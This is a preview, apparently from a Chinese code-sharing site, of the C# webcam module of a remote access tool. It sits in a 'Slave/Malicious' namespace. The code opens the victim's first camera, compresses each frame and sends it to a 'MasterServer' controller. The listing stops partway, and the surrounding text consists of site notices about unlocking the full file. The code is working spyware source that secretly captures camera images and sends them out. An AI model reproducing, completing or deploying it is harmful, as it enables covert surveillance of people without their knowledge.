ClassAssistance.Slave/Malicious/Webcam.cs
(开头部分) 2KB这里只显示每个文件的开头 60 行。登录后可以解锁完整代码。
using System.Drawing;
using System.Drawing.Imaging;
using System.Runtime.InteropServices;
using AForge.Video.DirectShow;
using ClassAssistance.Common;
using ClassAssistance.Common.Helpers;
using ClassAssistance.Common.Network.Protocol;
using ClassAssistance.Slave.Helper;
namespace ClassAssistance.Slave.Malicious
{
public class Webcam : Singleton<Webcam>, IMalicious
{
private VideoCapabilities[] VideoCapabilities => _videoDevice?.VideoCapabilities;
private VideoCaptureDevice _videoDevice;
private FilterInfoCollection _videoDevices;
private StartWebcamCaptureMessage _startMessage;
public void Initialize()
{
_videoDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice);
//foreach (FilterInfo device in _videoDevices)
//devicesCombo.Items.Add(device.Name);
}
/// <summary>
///
/// </summary>
/// <param name="message"></param>
public void StartScreenCapture(StartWebcamCaptureMessage message)
{
_startMessage = message;
MasterServer.Instance.SendStatus(message.WindowId, "Webcam capture", "Started capturing webcam...");
_videoDevice = new VideoCaptureDevice(_videoDevices[0].MonikerString);
_videoDevice.NewFrame += _videoDevice_NewFrame;
_videoDevice.VideoResolution = VideoCapabilities[0];
_videoDevice.Start();
/////////////////////////
//foreach (var capabilty in VideoCapabilities)
//videoResolutionsCombo.Items.Add($"{capabilty.FrameSize.Width} x {capabilty.FrameSize.Height}");
//if (VideoCapabilities.Length == 0)
//videoResolutionsCombo.Items.Add("Not supported");
}
private void _videoDevice_NewFrame(object sender, AForge.Video.NewFrameEventArgs eventArgs)
{
var bitmapArray = ImageHelpers.CompressImage(eventArgs.Frame, _startMessage.Quality);
MasterServer.Instance.ExecuteComplexSendOperation(_startMessage.WindowId,
"Webcam capture",
() => new WebcamCaptureMessage
{
RawImage = bitmapArray,
后面还有 15 行代码,解锁后查看完整代码
24 小时内免费解锁 3 个项目,之后 1 积分/个。 规则说明
AI 解读
登录后可用,每次 10 积分,解读结果公开显示在下面。
还没有人解读过这个文件。
